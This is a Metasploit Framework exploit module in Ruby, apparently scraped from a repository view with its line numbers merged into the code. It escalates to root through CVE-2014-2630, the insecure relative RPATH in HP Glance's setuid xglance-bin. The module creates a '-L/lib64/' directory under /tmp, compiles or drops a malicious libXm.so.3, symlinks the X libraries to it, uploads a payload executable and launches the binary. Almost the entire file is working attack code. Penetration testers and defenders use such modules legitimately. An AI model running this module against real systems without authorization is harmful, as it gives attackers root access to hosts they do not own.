Path: blob/master/modules/exploits/linux/local/hp_xglance_priv_esc.rb
30182 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GreatRanking78include Msf::Post::Linux::Priv9include Msf::Post::Linux::System10include Msf::Post::Linux::Compile11include Msf::Post::File12include Msf::Exploit::EXE13include Msf::Exploit::FileDropper14prepend Msf::Exploit::Remote::AutoCheck1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'HP Performance Monitoring xglance Priv Esc',21'Description' => %q{22This exploit takes advantage of xglance-bin, part of23HP's Glance (or Performance Monitoring) version 11 'and subsequent'24, which was compiled with an insecure RPATH option. The RPATH includes25a relative path to -L/lib64/ which can be controlled by a user.26Creating libraries in this location will result in an27escalation of privileges to root.28},29'License' => MSF_LICENSE,30'Author' => [31'h00die', # msf module32'Tim Brown', # original finding33'Robert Jaroszuk', # exploit34'Marco Ortisi', # exploit35],36'Platform' => [ 'linux' ],37'SessionTypes' => [ 'shell', 'meterpreter' ],38'Targets' => [39[ 'Automatic', {} ],40[ 'Linux x86', { 'Arch' => ARCH_X86 } ],41[ 'Linux x64', { 'Arch' => ARCH_X64 } ]42],43'Privileged' => true,44'References' => [45[ 'EDB', '48000' ],46[ 'URL', 'https://seclists.org/fulldisclosure/2014/Nov/55' ], # permissions, original finding47[ 'URL', 'https://www.redtimmy.com/linux-hacking/perf-exploiter/' ], # exploit48[ 'URL', 'https://github.com/redtimmy/perf-exploiter' ],49[ 'PACKETSTORM', '156206' ],50[ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2630/' ],51[ 'CVE', '2014-2630' ]52],53'DisclosureDate' => '2014-11-19',54'DefaultTarget' => 0,55'Notes' => {56'Stability' => [CRASH_SAFE],57'Reliability' => [REPEATABLE_SESSION],58'SideEffects' => [ARTIFACTS_ON_DISK]59}60)61)62register_options [63OptString.new('GLANCE_PATH', [ true, 'Path to xglance-bin', '/opt/perf/bin/xglance-bin' ])64]65register_advanced_options [66OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])67]68end6970# Simplify pulling the writable directory variable71def base_dir72datastore['WritableDir'].to_s73end7475def exploit_folder76"#{base_dir}/-L/lib64/"77end7879def glance_path80datastore['GLANCE_PATH'].to_s81end8283# Pull the exploit binary or file (.c typically) from our system84def exploit_data(file)85::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-2630', file)86end8788def find_libs89libs = cmd_exec "ldd #{glance_path} | grep libX"90%r{(?<lib>libX.+\.so\.\d) => -L/lib64} =~ libs91return nil if lib.nil?9293lib94end9596def check97return CheckCode::Safe("#{glance_path} file not found") unless file? glance_path98return CheckCode::Safe("#{glance_path} is not setuid") unless setuid? glance_path99100lib = find_libs101if lib.nil?102vprint_error 'Patched xglance-bin, not linked to -L/lib64/'103return CheckCode::Safe104end105vprint_good "xglance-bin found, and linked to vulnerable relative path -L/lib64/ through #{lib}"106CheckCode::Appears107end108109def exploit110if !datastore['ForceExploit'] && is_root?111fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')112end113114unless writable? base_dir115fail_with Failure::BadConfig, "#{base_dir} is not writable"116end117118# delete exploit folder in case a previous attempt failed119vprint_status("Deleting exploit folder: #{base_dir}/-L")120rm_cmd = "rm -rf \"#{base_dir}/-L\""121cmd_exec(rm_cmd)122# make folder123vprint_status("Creating exploit folder: #{exploit_folder}")124cmd_exec "mkdir -p #{exploit_folder}"125register_dir_for_cleanup "#{base_dir}/-L"126127# drop our .so on the system that calls our payload128# we need gcc to compile instead of metasm since metasm129# removes unused variables, which we need to keep xglance-bin130# from breaking and not launching our exploit131so_file = "#{exploit_folder}libXm.so.3"132if live_compile?133vprint_status 'Live compiling exploit on system...'134payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"135code = exploit_data('CVE-2014-2630.c')136code.sub!(payload_path.to_s, payload_path) # inject our payload path137upload_and_compile so_file, code, '-fPIC -shared -static-libgcc'138rm_f "#{so_file}.c"139else140payload_path = '/tmp/.u4aLoiq'141vprint_status 'Dropping pre-compiled exploit on system...'142upload_and_chmodx so_file, exploit_data('libXm.so.3')143end144145# Upload payload executable146vprint_status 'uploading payload'147upload_and_chmodx payload_path, generate_payload_exe148149# link so files to exploit vuln150lib = find_libs151# just to be safe, Xt and Xp were in the original exploit152# our mock binary is also exploitsable through libXmu.so.6153# unsure about the real binary154cd exploit_folder155['libXp.so.6', 'libXt.so.6', 'libXmu.so.6', lib].each do |l|156cmd_exec "ln -s libXm.so.3 #{l}"157end158159# Launch exploit160print_status 'Launching xglance-bin...'161cd base_dir162output = cmd_exec glance_path163output.each_line { |line| vprint_status line.chomp }164print_warning("Manual cleanup of #{exploit_folder} may be required")165end166end167168169